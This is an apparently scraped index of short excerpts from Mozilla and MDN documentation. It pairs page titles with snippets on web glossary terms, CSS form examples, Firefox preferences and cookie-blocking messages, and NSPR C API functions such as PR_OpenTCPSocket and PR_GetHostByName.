Script-supporting element - MDN Web Docs Glossary: Definitions of Web-related terms
technical reference to learn more, see script-supporting elements in kinds of html content.
Server - MDN Web Docs Glossary: Definitions of Web-related terms
services are provided generally over local area networks or wide area networks such as the internet.
Shim - MDN Web Docs Glossary: Definitions of Web-related terms
this differs from a polyfill, which implements a new api that is not supported by the stock browser as shipped.
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
on receiving the message, the verification process authenticates the sender - uses the sender's public key to decrypt the signature and recover the hash, which can only be created with the sender's private key, and checks message integrity - compares the hash with a newly calculated one from the received document (the two hashes will differ if the document has been tampered with) the system fails if the private key is compromised or the recipient is deceitfully given the wrong public key.
Site map - MDN Web Docs Glossary: Definitions of Web-related terms
structured listings of a site's page help with search engine optimization, providing a link for web crawlers such as search engines to follow.
Speed index - MDN Web Docs Glossary: Definitions of Web-related terms
it is the average time at which visible parts of the page are displayed.
Stacking context - MDN Web Docs Glossary: Definitions of Web-related terms
stacking context refers to how elements on a webpage appear to sit on top of other elements, just as you can arrange index cards on your desk to lie side-by-side or overlap each other.
Statement - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge statement (computer science) on wikipedia technical reference javascript statements and declarations ...
Static method - MDN Web Docs Glossary: Definitions of Web-related terms
in a web api, a static method is one which is defined by an interface but can be called without instantiating an object of that type first.
String - MDN Web Docs Glossary: Definitions of Web-related terms
in any computer programming language, a string is a sequence of characters used to represent text.
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
it is possible for both the client and server to mutually authenticate each other, if both parties provide their own individual digital certificates.
TOFU - MDN Web Docs Glossary: Definitions of Web-related terms
trust on first use (tofu) is a security model in which a client needs to create a trust relationship with an unknown server.
TURN - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge turn on wikipedia webrtc protocols technical reference specification specification update for ipv6 ...
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge "benefits of dead code elimination during bundling" in axel rauschmayer's book: "exploring js: modules" technical reference tree shaking implementation with webpack ...
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
UI - MDN Web Docs Glossary: Definitions of Web-related terms
user interface (ui) is anything that facilitates the interaction between a user and a machine.
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (url) is a text string that specifies where a resource (such as a web page, image, or video) can be found on the internet.
UX - MDN Web Docs Glossary: Definitions of Web-related terms
ux studies undertaken on a web page for example can demonstrate whether it is easy for users to understand the page, navigate to different areas, and complete common tasks, and where such processes could have less friction.
Usenet - MDN Web Docs Glossary: Definitions of Web-related terms
usenet is an internet discussion system where each post is duplicated on many servers.
Variable - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge variable (computer science) on wikipedia technical reference declaring variables in javascript var statement in javascript ...
WAI - MDN Web Docs Glossary: Definitions of Web-related terms
wai or web accessibility initiative is an effort by the world wide web consortium (w3c) to improve accessibility for people with various challenges, who may need a nonstandard browser or devices.
WHATWG - MDN Web Docs Glossary: Definitions of Web-related terms
the whatwg (web hypertext application technology working group) is a community that maintains and develops web standards, including dom, fetch, and html.
WebDAV - MDN Web Docs Glossary: Definitions of Web-related terms
author or creation date) link pages of any media type to related pages create sets of documents and retrieve hierarchical list copy and move webpages lock a document from being edited by more than one person at a time learn more general knowledge webdav on wikipedia technical reference rfc 2518 rfc 3253 rfc 3744 ...
WebKit - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge webkit on wikipedia technical reference webkit css extensions ...
Wrapper - MDN Web Docs Glossary: Definitions of Web-related terms
in programming languages such as javascript, a wrapper is a function that is intended to call one or more other functions, sometimes purely for convenience, and sometimes adapting them to do a slightly different task in the process.
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference xforms documentation on mdn ...
XLink - MDN Web Docs Glossary: Definitions of Web-related terms
xlink is a w3c standard which is used to describe links between xml and xml or other documents.
XPath - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference xpath documentation on mdn xpath specification general knowledge official website xpath on wikipedia ...
XQuery - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge official website xquery on wikipedia technical reference discussion about using xquery from firefox ...
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
please note that the start url is not necessarily the value of the start_url member: the user or user agent could have changed it when the application was added to home-screen or otherwise bookmarked.
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
brotli provides better compression ratios than gzip and deflate speeds are comparable, but brotli compressing is a slower process than gzip compression, so gzip may be a better option for the compression of non-cachable content.
document environment - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference document environment in the html specification ...
firewall - MDN Web Docs Glossary: Definitions of Web-related terms
firewalls can be as simple as a single piece of software, or more complex, like a dedicated machine whose only function is to act as a firewall.
First Meaningful Paint - MDN Web Docs Glossary: Definitions of Web-related terms
first meaningful paint (fmp) is the paint after which the biggest above-the-fold layout change has happened and web fonts have loaded.
GIF - MDN Web Docs Glossary: Definitions of Web-related terms
gif (graphics interchange format) is an image format that uses lossless compression and can be used for animations.
Hash - MDN Web Docs Glossary: Definitions of Web-related terms
this provides the basis for hmac's, which provide message authentication.
HTTPS - MDN Web Docs Glossary: Definitions of Web-related terms
this secure connection allows clients to safely exchange sensitive data with a server, such as when performing banking activities or online shopping.
jQuery - MDN Web Docs Glossary: Definitions of Web-related terms
e code carries out the same function as the following code: window.onload = function() { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }; or: window.addeventlistener("load", () => { alert("hello world!"); document.getelementbyid("blackbox").style.display = "none"; }); learn more general knowledge jquery on wikipedia jquery official website technical information offical api reference documentation ...
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
the process of such compression is irreversible; once lossy compression of the content has been performed, the content cannot be restored to its original state.
LTR (Left To Right) - MDN Web Docs Glossary: Definitions of Web-related terms
technical reference localization and internationalization ...
markup - MDN Web Docs Glossary: Definitions of Web-related terms
within a text file such as an html file, elements are marked up using tags which explain the purpose of that part of the content.
Modularity - MDN Web Docs Glossary: Definitions of Web-related terms
the term modularity refers to the degree to which a system's components may be separated and recombined, it is also division of a software package into logical units.
non-normative - MDN Web Docs Glossary: Definitions of Web-related terms
software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule.
RTL (Right to Left) - MDN Web Docs Glossary: Definitions of Web-related terms
the opposite of rtl, ltr (left to right) is used in other languages, including english (en, en-us, en-gb, etc.), spanish (es), and french (fr).
About Scriptable Interfaces - Interfaces
xpconnect xpconnect is a technology that allows scriptable interfaces to be used/implemented from/in javascript scripts.
Example - Learn web development
ng: 0; list-style: none; } form { margin: 0 auto; width: 400px; padding: 1em; border: 1px solid #ccc; border-radius: 1em; } div+div { margin-top: 1em; } label span { display: inline-block; width: 120px; text-align: right; } input, textarea { font: 1em sans-serif; width: 250px; box-sizing: border-box; border: 1px solid #999; } input[type=checkbox], input[type=radio] { width: auto; border: none; } input:focus, textarea:focus { border-color: #000; } textarea { vertical-align: top; height: 5em; resize: vertical; } fieldset { width: 250px; box-sizing: border-box; margin-left: 136px; border: 1px solid #999; } button { margin: 20px 0 0 124px; } label { position: relative; } label em { ...
Example - Learn web development
l of text field border */ border: 1px solid #999; } input:focus, textarea:focus { /* to give a little highligh on active elements */ border-color: #000; } textarea { /* to properly align multiline text field with their label */ vertical-align: top; /* to give enough room to type some text */ height: 5em; /* to allow users to resize any textarea vertically it works only on chrome, firefox and safari */ resize: vertical; } .button { /* to position the buttons to the same position of the text fields */ padding-left: 90px; /* same size as the label elements */ } button { /* this extra magin represent the same space as the space between the labels and their text fields */ margin-left: .5em; } result ...
Getting started with the Web - Learn web development
some examples could be games, things that happen when buttons are pressed or data is entered in forms, dynamic styling effects, animation, and much more.
HTML performance features - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies.
Information for Governments and Other Organizations Evaluating Mozilla
these guidelines go much further than section 508 does and mozilla is further from doing a good job at satisfying them.
ZoomText
zoomtext text to speech doesn't always echo what it should -- need more details from testers.
Cookies Preferences in Mozilla
lue: 0 0 = accept all cookies by default 1 = only accept from the originating site (block third party cookies) 2 = block all cookies by default 3 = use p3p settings (note: this is only applicable to older mozilla suite and seamonkey versions.) 4 = storage access policy: block cookies from trackers network.cookie.lifetimepolicy default value: 0 0 = accept cookies normally 1 = prompt for each cookie (prompting was removed in firefox 44) 2 = accept for current session only 3 = accept for n days network.cookie.lifetime.days default value: 90 only used if network.cookie.lifetimepolicy is set to 3 sets the number of days that the lifetime of cookies should be limited to.
Creating a Login Manager storage module
some work has already been done to integrate the login manager with the mac os x keychain (bug 106400) and gnome keyring manager (bug 309807).
Debugging Safari
to enable the very useful debug menu in safari use the following: defaults write com.apple.safari includeinternaldebugmenu 1 it is often useful to switch into single process mode by turning off "use multi-process windows" ...
Debugging update problems
checking update requests if you're debugging the application update feature in firefox or other mozilla applications, you may need to see what requests are occurring.
Makefile - targets
compile firefox, thunderbird, etc check standalone shell unit test invoked directly by make configure launch the configure program to define headers and and attributes for the target build machine.
Callgraph
documentation installing callgraph download and installation of callgraph schema reference explanation of the database schema further details implementation ideas for callgraph ...
Blocked: All storage access requests
the permission can be changed or removed by: going to preferences > content blocking in the custom content blocking section, selecting a value other than all cookies for the cookies item if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to your element.
Blocked: Custom cookie permission
the permission can be changed or removed by: going to preferences > content blocking > cookies and site data clicking on the manage permissions button and updating the listed exceptions ...
Blocked: All third-party storage access requests
the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the cookies checkbox if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
Blocked: Storage access requests from trackers
the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the tracker checkbox if the blocked resource doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element.
Site Identity Button
if the site identity button on your site shows something you do not expect (for example, an orange warning triangle when you expect a green padlock) you can find out the cause of the problem by looking in the web console in the firefox developer tools: ensure your web console is displaying messages in the 'security' category force-refresh the page on your site that is causing problems watch for any security messages that may appear a downgraded security ui will be due to one of these three problems: mixed content - while your page has been served over tls, but subresources loaded for your page have not.
Firefox Operational Information Database: SQLite
in the manager, select the database you want to explore in the '(select profile database)' pulldown, click 'go', select one of the tables listed in the left column and see the current contents of the database in the 'browse & search' tab.) some databases are used by the browser itself, others are used by applications that you have installed or used; for example: content-prefs.sqlite cookies.sqlite download.sqlite formhistory.sqlite persmissions.sqlite places.sqlite search.sqlite signons.sqlite webappstore.sqlite ...
HTMLIFrameElement.executeScript()
http://example.com/index.html note: the options parameter does not currently seem to have much effect.
HTMLIFrameElement.getActive()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.getCanGoBack()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.getCanGoForward()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.getMuted()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.getScreenshot()
use image/png to capture the alpha channel of the rendered result by returning a png-format image.
HTMLIFrameElement.getVisible()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.getVolume()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.mute()
MozillaGeckoChromeAPIBrowser APImute
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.setVolume()
there may also be large incompatibilities between implementations and the behavior may change in the future.
HTMLIFrameElement.unmute()
there may also be large incompatibilities between implementations and the behavior may change in the future.
-moz-window-dragging
it only works in chrome code, and only on mac os x.
::-moz-tree-cell-text(hover)
the :-moz-tree-cell-text(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over text in a tree cell.
::-moz-tree-row(hover)
the ::-moz-tree-row(hover) css pseudo-class will match an element if the mouse cursor is presently hovering over a tree row.
smartcard-insert
example document.addeventlistener("smartcard-insert", smartcardchangehandler ); related events smartcard-remove ...
smartcard-remove
example document.addeventlistener("smartcard-remove", smartcardchangehandler ); related events smartcard-insert ...
Gecko versions and application versions
2.1 gecko 1.9.2 firefox 3.6, thunderbird 3.1 gecko 1.9.1 firefox 3.5, thunderbird 3, seamonkey 2.0 gecko 1.9 firefox 3 gecko 1.8.1 firefox 2, thunderbird 2, seamonkey 1.1 gecko 1.8 firefox 1.5, thunderbird 1.5, seamonkey 1.0 gecko 1.7 firefox 1.0, thunderbird 1.0, nvu 1.0, mozilla suite 1.7 older versions of gecko match the mozilla suite versions ...
How test harnesses work
t preferences inserts a shim extension in the profile (for non-marionette tests) gathers the tests (manifestdestiny) potentially sets up an http server for test data (mozhttpd) invokes the binary (mozrunner) it is the job of the shim extension to shut down the browser logging (mozlog, in theory) (run tests, accrue results) cleanup: shutdown the browser check for crashes (mozcrash) reporting (moztest) marionette tests list of testing extensions pageloader (talos) mochitest: //github.com/realityripple/uxp/blob/master/testing/mochitest/install.rdf (mochitest) ...
How to get a process dump with Windows Task Manager
a firefox nightly or release you need a firefox version for which symbols are available from the mozilla symbol server.
Glossary
actor bridge channel child compressed message message nullable parent protocol state ...
AddonType
add-on types hold useful information about each type of add-on that may be installed.
InstallListener
check the progress property for the amount of data downloaded and the maxprogress property for the total data expected.
TypeListener
void ontypeadded( in addontype type ) parameters type the addontype that is being added needsrestart true if an application restart is necessary for the change to take effect ontyperemoved() called when an add-on type has been removed.
Deferred
a deferred object is returned by the promiseutils.defer() method to provide a new promise along with methods to change its state.
Localization notes
there is an established format for those, which is described in this document.
Localization at Mozilla
these resources are for anyone with an interest in the technical aspects involved in localization.
Various MathML Tests
testing mathml <merror>, <mtext>: this is a text in mtext this is a text in merror testing <maction>: click to toggle between expressions, and watch the status line onmouseover/onmouseout: statusline#first expression first expression statusline#second expression second expression statusline#and so on...
MathML Demo: <mfrac> - fractions
y="block"> <mrow> <msub> <mi>z</mi> <mi>&alpha;</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>&alpha;</mi> <mi>&pi;</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <mo>&int;</mo> <mi>c</mi> </msub> <mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-i...
Mobile
mobile web development mobile devices have very different hardware characteristics from desktop or laptop computers, and many of the apis used to work with them are still in the process of being standardized.
mozilla::CondVar
#include "condvar.h" methods constructor condvar(mutex& amutex, const char* aname) initialize the condvar with its associated mutex and a name to reference it by.
mozilla::Mutex
#include <mozilla/mutex.h> methods constructor mutex(const char* aname) initialize the mutex with a name that can reference it.
Are We Slim Yet
this allowed us to run measurements on all branches and platforms.
perf
energy-pkg >= energy-cores + energy-gpu the measurement is in joules, which is usually less useful than watts.
turbostat
3770 3398 0 9.69 2 2 784 21.29 3681 3398 0 11.78 3.10 1.13 62.70 40 2 6 782 21.15 3698 3398 0 11.92 3 3 702 19.14 3670 3398 0 8.39 3.09 2.03 67.36 39 3 7 648 17.67 3667 3398 0 9.85 the man page has good explanations of what each column measures.
browser.dom.window.dump.enabled
this setting enables the dump function, which sends messages to the system console.
browser.pagethumbnails.capturing_disabled
the preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.
browser.urlbar.trimURLs
examples: https://www.example.org/ becomes https://www.example.org, http://www.example.org/foobar becomes www.example.org/foobar and http://ftp.example.org/foobar remains unchanged.
dom.event.clipboardevents.enabled
dom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected.
nglayout.debug.disable xul fastload
in particular, add-ons should never change this preference..
ui.alertNotificationOrigin
ui.alertnotificationorigin controls the position and direction from which popup notifications invoked by nsialertsservice are sliding in.
ui.textSelectBackground
ui.textselectbackground saves the color in which the background of a text selection in the user interface or in content will be styled.
ui.textSelectForeground
ui.textselectforeground saves the color in which the text of a text selection in the user interface or the content will be styled.
Preferences
xul school: handling preferences the xul school tutorial chapter on preferences.
Installing JSHydra
cd $home/jshydra hg clone http://hg.mozilla.org/users/pidgeot18_gmail.com/jshydra/ cd jshydra ./configure make # run jshydra tests make check processing input files jshydra requires the files it processes to be correct js files.
JSHydra
it is inspired by the dehydra and treehydra tools, which can perform similar tasks in c++ code.
Leak Monitor
david baron that helps extension and chrome developers to find memory leaks.
Programs Using NSPR
netscape alumni took nspr with them to their new companies: good technology, kontiki, tellme networks.
Floating Point Number to String Conversion
nspr provides functions that convert double-precision floating point numbers to and from their character string representations.
Linked Lists
this chapter describes the nspr api for managing linked lists.
PLHashComparator
pl_comparestrings compare two character strings using strcmp.
PLHashEnumerator
when all the table entries are enumerated, each entry is passed to a user-specified function of type plhashenumerator with the hash table entry, an integer index, and an arbitrary piece of user data as argument.
PLHashNumber
a hash function maps a key to a hash number, which is then used to compute the index of the bucket.
PLHashTable
the number of buckets in a hash table may be changed by the library functions during the lifetime of the table to optimize speed and space.
PL_HashTableAdd
syntax #include <plhash.h> plhashentry *pl_hashtableadd( plhashtable *ht, const void *key, void *value); parameters the function has the following parameters: ht a pointer to the the hash table to which to add the entry.
PL_HashTableRemove
syntax #include <plhash.h> prbool pl_hashtableremove( plhashtable *ht, const void *key); parameters the function has the following parameters: ht a pointer to the hash table from which to remove the entry.
PL_strcpy
syntax char * pl_strcpy(char *dest, const char *src); parameters the function has these parameters: dest pointer to a buffer.
PL_strdup
syntax #include <plstr.h> char *pl_strdup(const char *s); parameter the function has a single parameter: s the string to copy, may be null.
PL_strfree
syntax void pl_strfree(char *s); parameter the function has these parameter: s pointer to the string to be freed.
PL_strlen
returns the length of a specified string (not including the trailing '\0') syntax pruint32 pl_strlen(const char *str); parameter the function has these parameter: str size in bytes of item to be allocated.
PRAccessHow
this is the declaration for the enumeration praccesshow, used in the how parameter of pr_access: #include <prio.h> typedef enum praccesshow { pr_access_exists = 1, pr_access_write_ok = 2, pr_access_read_ok = 3 } praccesshow; see pr_access for what each of these values mean.
PRCList
it can be used as the anchor of a list and can be embedded in data structures that are maintained in a linked list.
PRDir
the function pr_opendir opens a specified directory and returns a pointer to a prdir structure, which can be passed to pr_readdir repeatedly to obtain successive entries (files or subdirectories in the open directory).
PRFileMap
before actually mapping a file to memory, you must create a memory-mapped file object by calling pr_createfilemap, which returns a pointer to prfilemap.
PRFilePrivate
each layer has its own definition of prfileprivate, which is hidden from other layers as well as from the users of the layer.
PRHostEnt
syntax #include <prnetdb.h> typedef struct prhostent { char *h_name; char **h_aliases; #if defined(_win32) print16 h_addrtype; print16 h_length; #else print32 h_addrtype; print32 h_length; #endif char **h_addr_list; } prhostent; fields the structure has the following fields: h_name pointer to the official name of host.
PRInt32
for syntax details for each platform, see prtypes.h.
PRInt64
for syntax details for each platform, see prtypes.h.
PRIntn
it is guaranteed to be at least 16 bits, though various architectures may define it to be wider (for example, 32 or even 64 bits).
PRLibrary
a reference to such a structure can be returned by some of the functions in the runtime and serve to identify a particular instance of a library.
PRLogModuleInfo
syntax #include <prlog.h> typedef struct prlogmoduleinfo { const char *name; prlogmodulelevel level; struct prlogmoduleinfo *next; } prlogmoduleinfo; ...
PRNetAddr
syntax #include <prio.h> union prnetaddr { struct { pruint16 family; char data[14]; } raw; struct { pruint16 family; pruint16 port; pruint32 ip; char pad[8]; } inet; #if defined(_pr_inet6) struct { pruint16 family; pruint16 port; pruint32 flowinfo; pripv6addr ip; } ipv6; #endif /* defined(_pr_inet6) */ }; typedef union prnetaddr prnetaddr; fields the structure has the following fields: family address family: pr_af_inet|pr_af_inet6 for raw.family, pr_af_inet for inet.family, pr_af_inet6 for ipv6.family.
PR_Initialize
the type for the root function used by pr_initialize is specified as follows: syntax typedef printn (pr_callback *prprimordialfn)(printn argc, char **argv); see also pr_initialize ...
PRProcessAttr
pass a pointer to a prprocessattr into pr_createprocess when you create a new process, specifying information such as standard input/output redirection and file descriptor inheritance.
PRProtoEnt
syntax #include <prnetdb.h> typedef struct prprotoent { char *p_name; char **p_aliases; #if defined(_win32) print16 p_num; #else print32 p_num; #endif } prprotoent; fields the structure has the following fields: p_name pointer to official protocol name.
PRThreadType
nspr allows the client to synchronize the termination of all user threads and ignores those created as system threads.
PRUint32
for syntax details for each platform, see prtypes.h.
PRUint64
for syntax details for each platform, see prtypes.h.
PRUint8
there is no type equivalent to a plain char.
PRUintn
it is guaranteed to be at least 16 bits, though various architectures may define it to be wider (for example, 32 or even 64 bits).
PR_Accept
syntax #include <prio.h> prfiledesc* pr_accept( prfiledesc *fd, prnetaddr *addr, printervaltime timeout); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing the rendezvous socket on which the caller is willing to accept new connections.
PR_Assert
syntax #include <prlog.h> void pr_assert ( const char *s, const char *file, printn ln); parameters the function has these parameters: s a string to be displayed in the log.
PR_Bind
addr a pointer to a prnetaddr object representing the address to which the socket will be bound.
PR_BlockClockInterrupts
blocks the timer signal used for preemptive scheduling.
PR_CLIST_IS_EMPTY
checks for an empty circular list.
PR_CallOnce
the function will be called once, at most, for each subsystem to be initialized.
PR_Cleanup
pr_cleanup attempts to synchronize the natural termination of the process.
PR_ClearInterrupt
for example, the target thread may reach the agreed-on control point without providing an opportunity for the runtime to notify the thread of the interrupt request.
PR_Connect
addr a pointer to the address of the peer to which the socket is to be connected.
PR_ConnectContinue
after a nonblocking connect is initiated with pr_connect() (which fails with pr_in_progress_error), one should call pr_poll() on the socket, with the in_flags pr_poll_write | pr_poll_except.
PR_CreatePipe
pipes are useful for interprocess communication between a parent and a child process.
PR_CreateThreadPool
stacksize size of the stack allocated to each thread in the thread.
PR_Delete
syntax #include <prio.h> prstatus pr_delete(const char *name); parameters the function has the following parameter: name the pathname of the file to be deleted.
PR_DeleteSemaphore
syntax #include <pripcsem.h> nspr_api(prstatus) pr_deletesemaphore(const char *name); parameter the function has the following parameter: name the name of a semaphore that was previously created via a call to pr_opensemaphore.
PR_DeleteSharedMemory
syntax #include <prshm.h> nspr_api( prstatus ) pr_deletesharedmemory( const char *name ); parameter the function has these parameter: shm the handle returned from pr_opensharedmemory.
PR_DisableClockInterrupts
disables timer signals used for preemptive scheduling.
PR_ExportFileMapAsString
syntax #include <prshma.h> nspr_api( prstatus ) pr_exportfilemapasstring( prfilemap *fm, prsize bufsize, char *buf ); define pr_filemap_string_bufsize 128 parameters the function has the following parameters: fm a pointer to the prfilemap to be represented as a string.
PR_FreeLibraryName
syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was previously allocated by the dynamic library runtime.
PR_GMTParameters
note: since this function requires gmt as input, its primary use is as "filler" for cases in which you need a do-nothing callback.
PR GetAddrInfoByName
syntax #include <prnetdb.h> praddrinfo *pr getaddrinfobyname( const char *hostname, pruint16 af, printn flags); parameters the function has the following parameters: hostname the character string defining the host name of interest.
PR GetCanonNameFromAddrInfo
syntax #include <prnetdb.h> const char *pr_getcanonnamefromaddrinfo(const praddrinfo *addrinfo); parameters the function has the following parameters: addrinfo a pointer to a praddrinfo structure returned by a successful call to pr_getaddrinfobyname.
PR_GetDefaultIOMethods
description after using pr_getdefaultiomethods to identify the default i/o methods table, you can select elements from that table with which to build your own layer's methods table.
PR_GetErrorText
syntax #include <prerror.h> print32 pr_geterrortext(char *text); parameters the function has one parameter: text on output, the array pointed to contains the thread's current error text.
PR_GetFileInfo
syntax #include <prio.h> prstatus pr_getfileinfo( const char *fn, prfileinfo *info); parameters the function has the following parameters: fn the pathname of the file to get information about.
PR_GetFileInfo64
syntax #include <prio.h> prstatus pr_getfileinfo64( const char *fn, prfileinfo64 *info); parameters the function has the following parameters: fn the pathname of the file to get information about.
PR_GetHostByAddr
syntax #include <prnetdb.h> prstatus pr_gethostbyaddr( const prnetaddr *hostaddr, char *buf, printn bufsize, prhostent *hostentry); parameters the function has the following parameters: hostaddr a pointer to the ip address of host in question.
PR_GetHostByName
syntax #include <prnetdb.h> prstatus pr_gethostbyname( const char *hostname, char *buf, printn bufsize, prhostent *hostentry); parameters the function has the following parameters: hostname the character string defining the host name of interest.
PR_GetInheritedFileMap
syntax #include <prshma.h> nspr_api( prfilemap *) pr_getinheritedfilemap( const char *shmname ); parameter the function has the following parameter: shmname the name provided to pr_processattrsetinheritablefilemap.
PR_GetLibraryPath
syntax #include <prlink.h> char* pr_getlibrarypath(void); parameters the function has no parameters.
PR_GetNameForIdentity
syntax #include <prio.h> const char* pr_getnameforidentity(prdescidentity ident); parameter the function has the following parameter: ident a layer's identity.
PR_GetSocketOption
on input, the option field of this structure must be set to indicate which socket option to retrieve for the socket represented by the fd parameter.
PR INIT CLIST
syntax #include <prclist.h> pr_init_clist (prclist *listp); parameter listp a pointer to the anchor of the linked list.
PR_INIT_STATIC_CLIST
syntax #include <prclist.h> pr_init_static_clist (prclist *listp); parameter listp a pointer to the anchor of the linked list.
PR_INSERT_AFTER
elemp2 a pointer to the element after which elemp1 is to be inserted.
PR_INSERT_BEFORE
elemp2 a pointer to the element before which elemp1 is to be inserted.
PR_ImportFileMapFromString
syntax #include <prshma.h> nspr_api( prfilemap * ) pr_importfilemapfromstring( const char *fmstring ); parameter the function has the following parameter: fmstring a pointer to string created by pr_exportfilemapasstring.
PR_Initialized
checks whether the runtime has been initialized.
PR_IntervalToMicroseconds
description conversion may cause overflow, which is not reported.
PR_IntervalToMilliseconds
description conversion may cause overflow, which is not reported.
PR_IntervalToSeconds
description conversion may cause overflow, which is not reported.
PR_Lock
acquiring the lock is not an interruptible operation, nor is there any timeout mechanism.
PR_LogPrint
syntax #include <prlog.h> void pr_logprint(const char *fmt, ...); parameters the function has this parameter: fmt the string that is used as the formatting specification.
PR_MemMap
returns the starting address of the memory region to which the section of file is mapped.
PR_NETDB_BUF_SIZE
recommended size to use when specifying a scratch buffer for pr_gethostbyname, pr_gethostbyaddr, pr_getprotobyname, or pr_getprotobynumber.
PR_NewLogModule
syntax #include <prlog.h> prlogmoduleinfo* pr_newlogmodule(const char *name); parameters the function has this parameter: name the name to be assigned to the prlogmoduleinfo structure.
PR_NewThreadPrivateIndex
if a destructor function is registered with a new index, it will be called at one of two times, as long as the private data is not null: when replacement private data is set with pr_setthreadprivate when a thread exits the index maintains independent data values for each binding thread.
PR_NewUDPSocket
new code should use pr_openudpsocket instead, which allows the address family (ipv4 or ipv6) of the new udp socket to be specified.
PR_Now
description pr_now() returns the current time as number of microseconds since the nspr epoch, which is midnight (00:00:00) 1 january 1970 utc.
PR_OpenAnonFileMap
creates or opens a named semaphore with the specified name syntax #include <prshma.h> nspr_api( prfilemap *) pr_openanonfilemap( const char *dirname, prsize size, prfilemapprotect prot ); parameters the function has the following parameters: dirname a pointer to a directory name that will contain the anonymous file.
PR_OpenDir
syntax #include <prio.h> prdir* pr_opendir(const char *name); parameter the function has the following parameter: name the pathname of the directory to be opened.
PR_OpenSemaphore
syntax #include <pripcsem.h> #define pr_sem_create 0x1 /* create if not exist */ #define pr_sem_excl 0x2 /* fail if already exists */ nspr_api(prsem *) pr_opensemaphore( const char *name, printn flags, printn mode, pruintn value ); parameters the function has the following parameters: name the name to be given the semaphore.
PR_OpenSharedMemory
syntax #include <prshm.h> nspr_api( prsharedmemory * ) pr_opensharedmemory( const char *name, prsize size, printn flags, printn mode ); /* define values for pr_opensharememory(...,create) */ #define pr_shm_create 0x1 /* create if not exist */ #define pr_shm_excl 0x2 /* fail if already exists */ parameters the function has the following parameters: name the name of the shared memory segment.
PR_OpenTCPSocket
after a connection is established, the client and server may send and receive data between each other.
PR_PopIOLayer
syntax #include <prio.h> prfiledesc *pr_popiolayer( prfiledesc *stack, prdescidentity id); parameters the function has the following parameters: stack a pointer to a prfiledesc object representing the stack from which the specified layer is to be removed.
PR_Read
the value 0 means end of file is reached or the network connection is closed.
PR_RecvFrom
description pr_recvfrom receives up to a specified number of bytes from socket, which may or may not be connected.
PR_Rename
syntax #include <prio.h> prstatus pr_rename( const char *from, const char *to); parameters the function has the following parameters: from the old name of the file to be renamed.
PR_RmDir
syntax #include <prio.h> prstatus pr_rmdir(const char *name); parameter the function has the following parameter: name the name of the directory to be removed.
PR_Seek
if the function fails, the file pointer remains unchanged and the function returns -1.
PR_Seek64
if the function fails, the file pointer remains unchanged and the function returns -1.
PR_SetLibraryPath
syntax #include <prlink.h> prstatus pr_setlibrarypath(const char *path); parameters the function has this parameter: path a pointer to a character array that contains the directory path that the application should use as a default.
PR_SetLogFile
syntax #include <prlog.h> prbool pr_setlogfile(const char *name); parameters the function has this parameter: name the name of the log file.
